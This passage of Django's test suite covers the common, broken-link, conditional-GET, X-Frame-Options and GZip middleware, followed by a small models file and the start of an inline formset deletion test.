        Matches to explicit slashless URLs should go unmolested.
        """
        request = self.rf.get('/noslash')
        self.assertIsNone(CommonMiddleware().process_request(request))
        response = HttpResponse("Here's the text of the Web page.")
        self.assertEqual(CommonMiddleware().process_response(request, response), response)

    @override_settings(APPEND_SLASH=True)
    def test_append_slash_slashless_unknown(self):
        """
        APPEND_SLASH should not redirect to unknown resources.
        """
        request = self.rf.get('/unknown')
        response = HttpResponseNotFound()
        self.assertEqual(CommonMiddleware().process_response(request, response), response)

    @override_settings(APPEND_SLASH=True)
    def test_append_slash_redirect(self):
        """
        APPEND_SLASH should redirect slashless URLs to a valid pattern.
        """
        request = self.rf.get('/slash')
        r = CommonMiddleware().process_request(request)
        self.assertEqual(r.status_code, 301)

    @override_settings(APPEND_SLASH=True)
    def test_append_slash_redirect_querystring(self):
        """
        APPEND_SLASH should preserve querystrings when redirecting.
        """
        request = self.rf.get('/slash?test=1')
        response = HttpResponseNotFound()
        r = CommonMiddleware().process_response(request, response)
        self.assertEqual(r.url, '/slash/?test=1')

    @override_settings(APPEND_SLASH=True, DEBUG=True)
    def test_append_slash_no_redirect_on_POST_in_DEBUG(self):
        """
        Tests that while in debug mode, an exception is raised with a warning
        when a failed attempt is made to POST, PUT, or PATCH to an URL which
        would normally be redirected to a slashed version.
        """
        msg = "maintaining %s data. Change your form to point to testserver/slash/"
        request = self.rf.get('/slash')
        request.method = 'POST'
        response = HttpResponseNotFound()
        with self.assertRaisesMessage(RuntimeError, msg % request.method):
            CommonMiddleware().process_response(request, response)
        request = self.rf.get('/slash')
        request.method = 'PUT'
        with self.assertRaisesMessage(RuntimeError, msg % request.method):
            CommonMiddleware().process_response(request, response)
        request = self.rf.get('/slash')
        request.method = 'PATCH'
        with self.assertRaisesMessage(RuntimeError, msg % request.method):
            CommonMiddleware().process_response(request, response)

    @override_settings(APPEND_SLASH=False)
    def test_append_slash_disabled(self):
        """
        Disabling append slash functionality should leave slashless URLs alone.
        """
        request = self.rf.get('/slash')
        response = HttpResponseNotFound()
        self.assertEqual(CommonMiddleware().process_response(request, response), response)

    @override_settings(APPEND_SLASH=True)
    def test_append_slash_quoted(self):
        """
        URLs which require quoting should be redirected to their slash version.
        """
        request = self.rf.get(quote('/needsquoting#'))
        response = HttpResponseNotFound()
        r = CommonMiddleware().process_response(request, response)
        self.assertEqual(r.status_code, 301)
        self.assertEqual(r.url, '/needsquoting%23/')

    @override_settings(APPEND_SLASH=False, PREPEND_WWW=True)
    def test_prepend_www(self):
        request = self.rf.get('/path/')
        r = CommonMiddleware().process_request(request)
        self.assertEqual(r.status_code, 301)
        self.assertEqual(r.url, 'http://www.testserver/path/')

    @override_settings(APPEND_SLASH=True, PREPEND_WWW=True)
    def test_prepend_www_append_slash_have_slash(self):
        request = self.rf.get('/slash/')
        r = CommonMiddleware().process_request(request)
        self.assertEqual(r.status_code, 301)
        self.assertEqual(r.url, 'http://www.testserver/slash/')

    @override_settings(APPEND_SLASH=True, PREPEND_WWW=True)
    def test_prepend_www_append_slash_slashless(self):
        request = self.rf.get('/slash')
        r = CommonMiddleware().process_request(request)
        self.assertEqual(r.status_code, 301)
        self.assertEqual(r.url, 'http://www.testserver/slash/')

    # The following tests examine expected behavior given a custom URLconf that
    # overrides the default one through the request object.

    @override_settings(APPEND_SLASH=True)
    def test_append_slash_have_slash_custom_urlconf(self):
        """
        URLs with slashes should go unmolested.
        """
        request = self.rf.get('/customurlconf/slash/')
        request.urlconf = 'middleware.extra_urls'
        self.assertIsNone(CommonMiddleware().process_request(request))
        response = HttpResponseNotFound()
        self.assertEqual(CommonMiddleware().process_response(request, response), response)

    @override_settings(APPEND_SLASH=True)
    def test_append_slash_slashless_resource_custom_urlconf(self):
        """
        Matches to explicit slashless URLs should go unmolested.
        """
        request = self.rf.get('/customurlconf/noslash')
        request.urlconf = 'middleware.extra_urls'
        self.assertIsNone(CommonMiddleware().process_request(request))
        response = HttpResponse("Here's the text of the Web page.")
        self.assertEqual(CommonMiddleware().process_response(request, response), response)

    @override_settings(APPEND_SLASH=True)
    def test_append_slash_slashless_unknown_custom_urlconf(self):
        """
        APPEND_SLASH should not redirect to unknown resources.
        """
        request = self.rf.get('/customurlconf/unknown')
        request.urlconf = 'middleware.extra_urls'
        self.assertIsNone(CommonMiddleware().process_request(request))
        response = HttpResponseNotFound()
        self.assertEqual(CommonMiddleware().process_response(request, response), response)

    @override_settings(APPEND_SLASH=True)
    def test_append_slash_redirect_custom_urlconf(self):
        """
        APPEND_SLASH should redirect slashless URLs to a valid pattern.
        """
        request = self.rf.get('/customurlconf/slash')
        request.urlconf = 'middleware.extra_urls'
        response = HttpResponseNotFound()
        r = CommonMiddleware().process_response(request, response)
        self.assertIsNotNone(r, "CommonMiddleware failed to return APPEND_SLASH redirect using request.urlconf")
        self.assertEqual(r.status_code, 301)
        self.assertEqual(r.url, '/customurlconf/slash/')

    @override_settings(APPEND_SLASH=True, DEBUG=True)
    def test_append_slash_no_redirect_on_POST_in_DEBUG_custom_urlconf(self):
        """
        Tests that while in debug mode, an exception is raised with a warning
        when a failed attempt is made to POST to an URL which would normally be
        redirected to a slashed version.
        """
        request = self.rf.get('/customurlconf/slash')
        request.urlconf = 'middleware.extra_urls'
        request.method = 'POST'
        response = HttpResponseNotFound()
        with self.assertRaisesMessage(RuntimeError, 'end in a slash'):
            CommonMiddleware().process_response(request, response)

    @override_settings(APPEND_SLASH=False)
    def test_append_slash_disabled_custom_urlconf(self):
        """
        Disabling append slash functionality should leave slashless URLs alone.
        """
        request = self.rf.get('/customurlconf/slash')
        request.urlconf = 'middleware.extra_urls'
        self.assertIsNone(CommonMiddleware().process_request(request))
        response = HttpResponseNotFound()
        self.assertEqual(CommonMiddleware().process_response(request, response), response)

    @override_settings(APPEND_SLASH=True)
    def test_append_slash_quoted_custom_urlconf(self):
        """
        URLs which require quoting should be redirected to their slash version.
        """
        request = self.rf.get(quote('/customurlconf/needsquoting#'))
        request.urlconf = 'middleware.extra_urls'
        response = HttpResponseNotFound()
        r = CommonMiddleware().process_response(request, response)
        self.assertIsNotNone(r, "CommonMiddleware failed to return APPEND_SLASH redirect using request.urlconf")
        self.assertEqual(r.status_code, 301)
        self.assertEqual(r.url, '/customurlconf/needsquoting%23/')

    @override_settings(APPEND_SLASH=False, PREPEND_WWW=True)
    def test_prepend_www_custom_urlconf(self):
        request = self.rf.get('/customurlconf/path/')
        request.urlconf = 'middleware.extra_urls'
        r = CommonMiddleware().process_request(request)
        self.assertEqual(r.status_code, 301)
        self.assertEqual(r.url, 'http://www.testserver/customurlconf/path/')

    @override_settings(APPEND_SLASH=True, PREPEND_WWW=True)
    def test_prepend_www_append_slash_have_slash_custom_urlconf(self):
        request = self.rf.get('/customurlconf/slash/')
        request.urlconf = 'middleware.extra_urls'
        r = CommonMiddleware().process_request(request)
        self.assertEqual(r.status_code, 301)
        self.assertEqual(r.url, 'http://www.testserver/customurlconf/slash/')

    @override_settings(APPEND_SLASH=True, PREPEND_WWW=True)
    def test_prepend_www_append_slash_slashless_custom_urlconf(self):
        request = self.rf.get('/customurlconf/slash')
        request.urlconf = 'middleware.extra_urls'
        r = CommonMiddleware().process_request(request)
        self.assertEqual(r.status_code, 301)
        self.assertEqual(r.url, 'http://www.testserver/customurlconf/slash/')

    # ETag + If-Not-Modified support tests

    @override_settings(USE_ETAGS=True)
    def test_etag(self):
        req = HttpRequest()
        res = HttpResponse('content')
        self.assertTrue(CommonMiddleware().process_response(req, res).has_header('ETag'))

    @override_settings(USE_ETAGS=True)
    def test_etag_streaming_response(self):
        req = HttpRequest()
        res = StreamingHttpResponse(['content'])
        res['ETag'] = 'tomatoes'
        self.assertEqual(CommonMiddleware().process_response(req, res).get('ETag'), 'tomatoes')

    @override_settings(USE_ETAGS=True)
    def test_no_etag_streaming_response(self):
        req = HttpRequest()
        res = StreamingHttpResponse(['content'])
        self.assertFalse(CommonMiddleware().process_response(req, res).has_header('ETag'))

    @override_settings(USE_ETAGS=True)
    def test_no_etag_no_store_cache(self):
        req = HttpRequest()
        res = HttpResponse('content')
        res['Cache-Control'] = 'No-Cache, No-Store, Max-age=0'
        self.assertFalse(CommonMiddleware().process_response(req, res).has_header('ETag'))

    @override_settings(USE_ETAGS=True)
    def test_etag_extended_cache_control(self):
        req = HttpRequest()
        res = HttpResponse('content')
        res['Cache-Control'] = 'my-directive="my-no-store"'
        self.assertTrue(CommonMiddleware().process_response(req, res).has_header('ETag'))

    @override_settings(USE_ETAGS=True)
    def test_if_none_match(self):
        first_req = HttpRequest()
        first_res = CommonMiddleware().process_response(first_req, HttpResponse('content'))
        second_req = HttpRequest()
        second_req.method = 'GET'
        second_req.META['HTTP_IF_NONE_MATCH'] = first_res['ETag']
        second_res = CommonMiddleware().process_response(second_req, HttpResponse('content'))
        self.assertEqual(second_res.status_code, 304)

    # Tests for the Content-Length header

    def test_content_length_header_added(self):
        response = HttpResponse('content')
        self.assertNotIn('Content-Length', response)
        response = CommonMiddleware().process_response(HttpRequest(), response)
        self.assertEqual(int(response['Content-Length']), len(response.content))

    def test_content_length_header_not_added_for_streaming_response(self):
        response = StreamingHttpResponse('content')
        self.assertNotIn('Content-Length', response)
        response = CommonMiddleware().process_response(HttpRequest(), response)
        self.assertNotIn('Content-Length', response)

    def test_content_length_header_not_changed(self):
        response = HttpResponse()
        bad_content_length = len(response.content) + 10
        response['Content-Length'] = bad_content_length
        response = CommonMiddleware().process_response(HttpRequest(), response)
        self.assertEqual(int(response['Content-Length']), bad_content_length)

    # Other tests

    @override_settings(DISALLOWED_USER_AGENTS=[re.compile(r'foo')])
    def test_disallowed_user_agents(self):
        request = self.rf.get('/slash')
        request.META['HTTP_USER_AGENT'] = 'foo'
        with self.assertRaisesMessage(PermissionDenied, 'Forbidden user agent'):
            CommonMiddleware().process_request(request)

    def test_non_ascii_query_string_does_not_crash(self):
        """Regression test for #15152"""
        request = self.rf.get('/slash')
        request.META['QUERY_STRING'] = force_str('drink=café')
        r = CommonMiddleware().process_request(request)
        self.assertEqual(r.status_code, 301)

    def test_response_redirect_class(self):
        request = self.rf.get('/slash')
        response = HttpResponseNotFound()
        r = CommonMiddleware().process_response(request, response)
        self.assertEqual(r.status_code, 301)
        self.assertEqual(r.url, '/slash/')
        self.assertIsInstance(r, HttpResponsePermanentRedirect)

    def test_response_redirect_class_subclass(self):
        class MyCommonMiddleware(CommonMiddleware):
            response_redirect_class = HttpResponseRedirect

        request = self.rf.get('/slash')
        response = HttpResponseNotFound()
        r = MyCommonMiddleware().process_response(request, response)
        self.assertEqual(r.status_code, 302)
        self.assertEqual(r.url, '/slash/')
        self.assertIsInstance(r, HttpResponseRedirect)


@override_settings(
    IGNORABLE_404_URLS=[re.compile(r'foo')],
    MANAGERS=['PHB@dilbert.com'],
)
class BrokenLinkEmailsMiddlewareTest(SimpleTestCase):

    rf = RequestFactory()

    def setUp(self):
        self.req = self.rf.get('/regular_url/that/does/not/exist')
        self.resp = self.client.get(self.req.path)

    def test_404_error_reporting(self):
        self.req.META['HTTP_REFERER'] = '/another/url/'
        BrokenLinkEmailsMiddleware().process_response(self.req, self.resp)
        self.assertEqual(len(mail.outbox), 1)
        self.assertIn('Broken', mail.outbox[0].subject)

    def test_404_error_reporting_no_referer(self):
        BrokenLinkEmailsMiddleware().process_response(self.req, self.resp)
        self.assertEqual(len(mail.outbox), 0)

    def test_404_error_reporting_ignored_url(self):
        self.req.path = self.req.path_info = 'foo_url/that/does/not/exist'
        BrokenLinkEmailsMiddleware().process_response(self.req, self.resp)
        self.assertEqual(len(mail.outbox), 0)

    @skipIf(six.PY3, "HTTP_REFERER is str type on Python 3")
    def test_404_error_nonascii_referrer(self):
        # Such referer strings should not happen, but anyway, if it happens,
        # let's not crash
        self.req.META['HTTP_REFERER'] = b'http://testserver/c/\xd0\xbb\xd0\xb8/'
        BrokenLinkEmailsMiddleware().process_response(self.req, self.resp)
        self.assertEqual(len(mail.outbox), 1)

    @skipIf(six.PY3, "HTTP_USER_AGENT is str type on Python 3")
    def test_404_error_nonascii_user_agent(self):
        # Such user agent strings should not happen, but anyway, if it happens,
        # let's not crash
        self.req.META['HTTP_REFERER'] = '/another/url/'
        self.req.META['HTTP_USER_AGENT'] = b'\xd0\xbb\xd0\xb8\xff\xff'
        BrokenLinkEmailsMiddleware().process_response(self.req, self.resp)
        self.assertEqual(len(mail.outbox), 1)
        self.assertIn('User agent: \u043b\u0438\ufffd\ufffd\n', mail.outbox[0].body)

    def test_custom_request_checker(self):
        class SubclassedMiddleware(BrokenLinkEmailsMiddleware):
            ignored_user_agent_patterns = (re.compile(r'Spider.*'), re.compile(r'Robot.*'))

            def is_ignorable_request(self, request, uri, domain, referer):
                '''Check user-agent in addition to normal checks.'''
                if super(SubclassedMiddleware, self).is_ignorable_request(request, uri, domain, referer):
                    return True
                user_agent = request.META['HTTP_USER_AGENT']
                return any(pattern.search(user_agent) for pattern in self.ignored_user_agent_patterns)

        self.req.META['HTTP_REFERER'] = '/another/url/'
        self.req.META['HTTP_USER_AGENT'] = 'Spider machine 3.4'
        SubclassedMiddleware().process_response(self.req, self.resp)
        self.assertEqual(len(mail.outbox), 0)
        self.req.META['HTTP_USER_AGENT'] = 'My user agent'
        SubclassedMiddleware().process_response(self.req, self.resp)
        self.assertEqual(len(mail.outbox), 1)

    def test_referer_equal_to_requested_url(self):
        """
        Some bots set the referer to the current URL to avoid being blocked by
        an referer check (#25302).
        """
        self.req.META['HTTP_REFERER'] = self.req.path
        BrokenLinkEmailsMiddleware().process_response(self.req, self.resp)
        self.assertEqual(len(mail.outbox), 0)

        # URL with scheme and domain should also be ignored
        self.req.META['HTTP_REFERER'] = 'http://testserver%s' % self.req.path
        BrokenLinkEmailsMiddleware().process_response(self.req, self.resp)
        self.assertEqual(len(mail.outbox), 0)

        # URL with a different scheme should be ignored as well because bots
        # tend to use http:// in referers even when browsing HTTPS websites.
        self.req.META['HTTP_X_PROTO'] = 'https'
        self.req.META['SERVER_PORT'] = 443
        with self.settings(SECURE_PROXY_SSL_HEADER=('HTTP_X_PROTO', 'https')):
            BrokenLinkEmailsMiddleware().process_response(self.req, self.resp)
        self.assertEqual(len(mail.outbox), 0)

    def test_referer_equal_to_requested_url_on_another_domain(self):
        self.req.META['HTTP_REFERER'] = 'http://anotherserver%s' % self.req.path
        BrokenLinkEmailsMiddleware().process_response(self.req, self.resp)
        self.assertEqual(len(mail.outbox), 1)

    @override_settings(APPEND_SLASH=True)
    def test_referer_equal_to_requested_url_without_trailing_slash_when_append_slash_is_set(self):
        self.req.path = self.req.path_info = '/regular_url/that/does/not/exist/'
        self.req.META['HTTP_REFERER'] = self.req.path_info[:-1]
        BrokenLinkEmailsMiddleware().process_response(self.req, self.resp)
        self.assertEqual(len(mail.outbox), 0)

    @override_settings(APPEND_SLASH=False)
    def test_referer_equal_to_requested_url_without_trailing_slash_when_append_slash_is_unset(self):
        self.req.path = self.req.path_info = '/regular_url/that/does/not/exist/'
        self.req.META['HTTP_REFERER'] = self.req.path_info[:-1]
        BrokenLinkEmailsMiddleware().process_response(self.req, self.resp)
        self.assertEqual(len(mail.outbox), 1)


@override_settings(ROOT_URLCONF='middleware.cond_get_urls')
class ConditionalGetMiddlewareTest(SimpleTestCase):

    def setUp(self):
        self.req = RequestFactory().get('/')
        self.resp = self.client.get(self.req.path_info)

    # Tests for the Date header

    def test_date_header_added(self):
        self.assertNotIn('Date', self.resp)
        self.resp = ConditionalGetMiddleware().process_response(self.req, self.resp)
        self.assertIn('Date', self.resp)

    # Tests for the Content-Length header

    def test_content_length_header_added(self):
        content_length = len(self.resp.content)
        # Already set by CommonMiddleware, remove it to check that
        # ConditionalGetMiddleware readds it.
        del self.resp['Content-Length']
        self.assertNotIn('Content-Length', self.resp)
        self.resp = ConditionalGetMiddleware().process_response(self.req, self.resp)
        self.assertIn('Content-Length', self.resp)
        self.assertEqual(int(self.resp['Content-Length']), content_length)

    def test_content_length_header_not_added(self):
        resp = StreamingHttpResponse('content')
        self.assertNotIn('Content-Length', resp)
        resp = ConditionalGetMiddleware().process_response(self.req, resp)
        self.assertNotIn('Content-Length', resp)

    def test_content_length_header_not_changed(self):
        bad_content_length = len(self.resp.content) + 10
        self.resp['Content-Length'] = bad_content_length
        self.resp = ConditionalGetMiddleware().process_response(self.req, self.resp)
        self.assertEqual(int(self.resp['Content-Length']), bad_content_length)

    # Tests for the ETag header

    def test_if_none_match_and_no_etag(self):
        self.req.META['HTTP_IF_NONE_MATCH'] = 'spam'
        self.resp = ConditionalGetMiddleware().process_response(self.req, self.resp)
        self.assertEqual(self.resp.status_code, 200)

    def test_no_if_none_match_and_etag(self):
        self.resp['ETag'] = 'eggs'
        self.resp = ConditionalGetMiddleware().process_response(self.req, self.resp)
        self.assertEqual(self.resp.status_code, 200)

    def test_if_none_match_and_same_etag(self):
        self.req.META['HTTP_IF_NONE_MATCH'] = self.resp['ETag'] = 'spam'
        self.resp = ConditionalGetMiddleware().process_response(self.req, self.resp)
        self.assertEqual(self.resp.status_code, 304)

    def test_if_none_match_and_same_etag_with_quotes(self):
        self.req.META['HTTP_IF_NONE_MATCH'] = self.resp['ETag'] = '"spam"'
        self.resp = ConditionalGetMiddleware().process_response(self.req, self.resp)
        self.assertEqual(self.resp.status_code, 304)

    def test_if_none_match_and_different_etag(self):
        self.req.META['HTTP_IF_NONE_MATCH'] = 'spam'
        self.resp['ETag'] = 'eggs'
        self.resp = ConditionalGetMiddleware().process_response(self.req, self.resp)
        self.assertEqual(self.resp.status_code, 200)

    def test_if_none_match_and_redirect(self):
        self.req.META['HTTP_IF_NONE_MATCH'] = self.resp['ETag'] = 'spam'
        self.resp['Location'] = '/'
        self.resp.status_code = 301
        self.resp = ConditionalGetMiddleware().process_response(self.req, self.resp)
        self.assertEqual(self.resp.status_code, 301)

    def test_if_none_match_and_client_error(self):
        self.req.META['HTTP_IF_NONE_MATCH'] = self.resp['ETag'] = 'spam'
        self.resp.status_code = 400
        self.resp = ConditionalGetMiddleware().process_response(self.req, self.resp)
        self.assertEqual(self.resp.status_code, 400)

    # Tests for the Last-Modified header

    def test_if_modified_since_and_no_last_modified(self):
        self.req.META['HTTP_IF_MODIFIED_SINCE'] = 'Sat, 12 Feb 2011 17:38:44 GMT'
        self.resp = ConditionalGetMiddleware().process_response(self.req, self.resp)
        self.assertEqual(self.resp.status_code, 200)

    def test_no_if_modified_since_and_last_modified(self):
        self.resp['Last-Modified'] = 'Sat, 12 Feb 2011 17:38:44 GMT'
        self.resp = ConditionalGetMiddleware().process_response(self.req, self.resp)
        self.assertEqual(self.resp.status_code, 200)

    def test_if_modified_since_and_same_last_modified(self):
        self.req.META['HTTP_IF_MODIFIED_SINCE'] = 'Sat, 12 Feb 2011 17:38:44 GMT'
        self.resp['Last-Modified'] = 'Sat, 12 Feb 2011 17:38:44 GMT'
        self.resp = ConditionalGetMiddleware().process_response(self.req, self.resp)
        self.assertEqual(self.resp.status_code, 304)

    def test_if_modified_since_and_last_modified_in_the_past(self):
        self.req.META['HTTP_IF_MODIFIED_SINCE'] = 'Sat, 12 Feb 2011 17:38:44 GMT'
        self.resp['Last-Modified'] = 'Sat, 12 Feb 2011 17:35:44 GMT'
        self.resp = ConditionalGetMiddleware().process_response(self.req, self.resp)
        self.assertEqual(self.resp.status_code, 304)

    def test_if_modified_since_and_last_modified_in_the_future(self):
        self.req.META['HTTP_IF_MODIFIED_SINCE'] = 'Sat, 12 Feb 2011 17:38:44 GMT'
        self.resp['Last-Modified'] = 'Sat, 12 Feb 2011 17:41:44 GMT'
        self.resp = ConditionalGetMiddleware().process_response(self.req, self.resp)
        self.assertEqual(self.resp.status_code, 200)

    def test_if_modified_since_and_redirect(self):
        self.req.META['HTTP_IF_MODIFIED_SINCE'] = 'Sat, 12 Feb 2011 17:38:44 GMT'
        self.resp['Last-Modified'] = 'Sat, 12 Feb 2011 17:35:44 GMT'
        self.resp['Location'] = '/'
        self.resp.status_code = 301
        self.resp = ConditionalGetMiddleware().process_response(self.req, self.resp)
        self.assertEqual(self.resp.status_code, 301)

    def test_if_modified_since_and_client_error(self):
        self.req.META['HTTP_IF_MODIFIED_SINCE'] = 'Sat, 12 Feb 2011 17:38:44 GMT'
        self.resp['Last-Modified'] = 'Sat, 12 Feb 2011 17:35:44 GMT'
        self.resp.status_code = 400
        self.resp = ConditionalGetMiddleware().process_response(self.req, self.resp)
        self.assertEqual(self.resp.status_code, 400)


class XFrameOptionsMiddlewareTest(SimpleTestCase):
    """
    Tests for the X-Frame-Options clickjacking prevention middleware.
    """

    def test_same_origin(self):
        """
        The X_FRAME_OPTIONS setting can be set to SAMEORIGIN to have the
        middleware use that value for the HTTP header.
        """
        with override_settings(X_FRAME_OPTIONS='SAMEORIGIN'):
            r = XFrameOptionsMiddleware().process_response(HttpRequest(), HttpResponse())
            self.assertEqual(r['X-Frame-Options'], 'SAMEORIGIN')

        with override_settings(X_FRAME_OPTIONS='sameorigin'):
            r = XFrameOptionsMiddleware().process_response(HttpRequest(), HttpResponse())
            self.assertEqual(r['X-Frame-Options'], 'SAMEORIGIN')

    def test_deny(self):
        """
        The X_FRAME_OPTIONS setting can be set to DENY to have the middleware
        use that value for the HTTP header.
        """
        with override_settings(X_FRAME_OPTIONS='DENY'):
            r = XFrameOptionsMiddleware().process_response(HttpRequest(), HttpResponse())
            self.assertEqual(r['X-Frame-Options'], 'DENY')

        with override_settings(X_FRAME_OPTIONS='deny'):
            r = XFrameOptionsMiddleware().process_response(HttpRequest(), HttpResponse())
            self.assertEqual(r['X-Frame-Options'], 'DENY')

    def test_defaults_sameorigin(self):
        """
        If the X_FRAME_OPTIONS setting is not set then it defaults to
        SAMEORIGIN.
        """
        with override_settings(X_FRAME_OPTIONS=None):
            del settings.X_FRAME_OPTIONS    # restored by override_settings
            r = XFrameOptionsMiddleware().process_response(HttpRequest(), HttpResponse())
            self.assertEqual(r['X-Frame-Options'], 'SAMEORIGIN')

    def test_dont_set_if_set(self):
        """
        If the X-Frame-Options header is already set then the middleware does
        not attempt to override it.
        """
        with override_settings(X_FRAME_OPTIONS='DENY'):
            response = HttpResponse()
            response['X-Frame-Options'] = 'SAMEORIGIN'
            r = XFrameOptionsMiddleware().process_response(HttpRequest(), response)
            self.assertEqual(r['X-Frame-Options'], 'SAMEORIGIN')

        with override_settings(X_FRAME_OPTIONS='SAMEORIGIN'):
            response = HttpResponse()
            response['X-Frame-Options'] = 'DENY'
            r = XFrameOptionsMiddleware().process_response(HttpRequest(), response)
            self.assertEqual(r['X-Frame-Options'], 'DENY')

    def test_response_exempt(self):
        """
        If the response has an xframe_options_exempt attribute set to False
        then it still sets the header, but if it's set to True then it doesn't.
        """
        with override_settings(X_FRAME_OPTIONS='SAMEORIGIN'):
            response = HttpResponse()
            response.xframe_options_exempt = False
            r = XFrameOptionsMiddleware().process_response(HttpRequest(), response)
            self.assertEqual(r['X-Frame-Options'], 'SAMEORIGIN')

            response = HttpResponse()
            response.xframe_options_exempt = True
            r = XFrameOptionsMiddleware().process_response(HttpRequest(), response)
            self.assertIsNone(r.get('X-Frame-Options'))

    def test_is_extendable(self):
        """
        The XFrameOptionsMiddleware method that determines the X-Frame-Options
        header value can be overridden based on something in the request or
        response.
        """
        class OtherXFrameOptionsMiddleware(XFrameOptionsMiddleware):
            # This is just an example for testing purposes...
            def get_xframe_options_value(self, request, response):
                if getattr(request, 'sameorigin', False):
                    return 'SAMEORIGIN'
                if getattr(response, 'sameorigin', False):
                    return 'SAMEORIGIN'
                return 'DENY'

        with override_settings(X_FRAME_OPTIONS='DENY'):
            response = HttpResponse()
            response.sameorigin = True
            r = OtherXFrameOptionsMiddleware().process_response(HttpRequest(), response)
            self.assertEqual(r['X-Frame-Options'], 'SAMEORIGIN')

            request = HttpRequest()
            request.sameorigin = True
            r = OtherXFrameOptionsMiddleware().process_response(request, HttpResponse())
            self.assertEqual(r['X-Frame-Options'], 'SAMEORIGIN')

        with override_settings(X_FRAME_OPTIONS='SAMEORIGIN'):
            r = OtherXFrameOptionsMiddleware().process_response(HttpRequest(), HttpResponse())
            self.assertEqual(r['X-Frame-Options'], 'DENY')


class GZipMiddlewareTest(SimpleTestCase):
    """
    Tests the GZipMiddleware.
    """
    short_string = b"This string is too short to be worth compressing."
    compressible_string = b'a' * 500
    incompressible_string = b''.join(six.int2byte(random.randint(0, 255)) for _ in range(500))
    sequence = [b'a' * 500, b'b' * 200, b'a' * 300]
    sequence_unicode = ['a' * 500, 'é' * 200, 'a' * 300]

    def setUp(self):
        self.req = RequestFactory().get('/')
        self.req.META['HTTP_ACCEPT_ENCODING'] = 'gzip, deflate'
        self.req.META['HTTP_USER_AGENT'] = 'Mozilla/5.0 (Windows NT 5.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1'
        self.resp = HttpResponse()
        self.resp.status_code = 200
        self.resp.content = self.compressible_string
        self.resp['Content-Type'] = 'text/html; charset=UTF-8'
        self.stream_resp = StreamingHttpResponse(self.sequence)
        self.stream_resp['Content-Type'] = 'text/html; charset=UTF-8'
        self.stream_resp_unicode = StreamingHttpResponse(self.sequence_unicode)
        self.stream_resp_unicode['Content-Type'] = 'text/html; charset=UTF-8'

    @staticmethod
    def decompress(gzipped_string):
        with gzip.GzipFile(mode='rb', fileobj=BytesIO(gzipped_string)) as f:
            return f.read()

    def test_compress_response(self):
        """
        Compression is performed on responses with compressible content.
        """
        r = GZipMiddleware().process_response(self.req, self.resp)
        self.assertEqual(self.decompress(r.content), self.compressible_string)
        self.assertEqual(r.get('Content-Encoding'), 'gzip')
        self.assertEqual(r.get('Content-Length'), str(len(r.content)))

    def test_compress_streaming_response(self):
        """
        Compression is performed on responses with streaming content.
        """
        r = GZipMiddleware().process_response(self.req, self.stream_resp)
        self.assertEqual(self.decompress(b''.join(r)), b''.join(self.sequence))
        self.assertEqual(r.get('Content-Encoding'), 'gzip')
        self.assertFalse(r.has_header('Content-Length'))

    def test_compress_streaming_response_unicode(self):
        """
        Compression is performed on responses with streaming Unicode content.
        """
        r = GZipMiddleware().process_response(self.req, self.stream_resp_unicode)
        self.assertEqual(
            self.decompress(b''.join(r)),
            b''.join(x.encode('utf-8') for x in self.sequence_unicode)
        )
        self.assertEqual(r.get('Content-Encoding'), 'gzip')
        self.assertFalse(r.has_header('Content-Length'))

    def test_compress_file_response(self):
        """
        Compression is performed on FileResponse.
        """
        with open(__file__, 'rb') as file1:
            file_resp = FileResponse(file1)
            file_resp['Content-Type'] = 'text/html; charset=UTF-8'
            r = GZipMiddleware().process_response(self.req, file_resp)
            with open(__file__, 'rb') as file2:
                self.assertEqual(self.decompress(b''.join(r)), file2.read())
            self.assertEqual(r.get('Content-Encoding'), 'gzip')
            self.assertIsNot(r.file_to_stream, file1)

    def test_compress_non_200_response(self):
        """
        Compression is performed on responses with a status other than 200
        (#10762).
        """
        self.resp.status_code = 404
        r = GZipMiddleware().process_response(self.req, self.resp)
        self.assertEqual(self.decompress(r.content), self.compressible_string)
        self.assertEqual(r.get('Content-Encoding'), 'gzip')

    def test_no_compress_short_response(self):
        """
        Compression isn't performed on responses with short content.
        """
        self.resp.content = self.short_string
        r = GZipMiddleware().process_response(self.req, self.resp)
        self.assertEqual(r.content, self.short_string)
        self.assertIsNone(r.get('Content-Encoding'))

    def test_no_compress_compressed_response(self):
        """
        Compression isn't performed on responses that are already compressed.
        """
        self.resp['Content-Encoding'] = 'deflate'
        r = GZipMiddleware().process_response(self.req, self.resp)
        self.assertEqual(r.content, self.compressible_string)
        self.assertEqual(r.get('Content-Encoding'), 'deflate')

    def test_no_compress_incompressible_response(self):
        """
        Compression isn't performed on responses with incompressible content.
        """
        self.resp.content = self.incompressible_string
        r = GZipMiddleware().process_response(self.req, self.resp)
        self.assertEqual(r.content, self.incompressible_string)
        self.assertIsNone(r.get('Content-Encoding'))


@override_settings(USE_ETAGS=True)
class ETagGZipMiddlewareTest(SimpleTestCase):
    """
    Tests if the ETagMiddleware behaves correctly with GZipMiddleware.
    """
    rf = RequestFactory()
    compressible_string = b'a' * 500

    def test_compress_response(self):
        """
        ETag is changed after gzip compression is performed.
        """
        request = self.rf.get('/', HTTP_ACCEPT_ENCODING='gzip, deflate')
        response = GZipMiddleware().process_response(
            request,
            CommonMiddleware().process_response(request, HttpResponse(self.compressible_string))
        )
        gzip_etag = response.get('ETag')

        request = self.rf.get('/', HTTP_ACCEPT_ENCODING='')
        response = GZipMiddleware().process_response(
            request,
            CommonMiddleware().process_response(request, HttpResponse(self.compressible_string))
        )
        nogzip_etag = response.get('ETag')

        self.assertNotEqual(gzip_etag, nogzip_etag)






# -*- coding: utf-8 -*-
from django.db import models
from django.utils.encoding import python_2_unicode_compatible


class School(models.Model):
    name = models.CharField(max_length=100)


class Parent(models.Model):
    name = models.CharField(max_length=100)


class Child(models.Model):
    mother = models.ForeignKey(Parent, models.CASCADE, related_name='mothers_children')
    father = models.ForeignKey(Parent, models.CASCADE, related_name='fathers_children')
    school = models.ForeignKey(School, models.CASCADE)
    name = models.CharField(max_length=100)


@python_2_unicode_compatible
class Poet(models.Model):
    name = models.CharField(max_length=100)

    def __str__(self):
        return self.name


@python_2_unicode_compatible
class Poem(models.Model):
    poet = models.ForeignKey(Poet, models.CASCADE)
    name = models.CharField(max_length=100)

    class Meta:
        unique_together = ('poet', 'name')

    def __str__(self):
        return self.name












from __future__ import unicode_literals

from django.forms.models import ModelForm, inlineformset_factory
from django.test import TestCase, skipUnlessDBFeature
from django.utils import six

from .models import Child, Parent, Poem, Poet, School


class DeletionTests(TestCase):

    def test_deletion(self):
        PoemFormSet = inlineformset_factory(Poet, Poem, can_delete=True, fields="__all__")
        poet = Poet.objects.create(name='test')
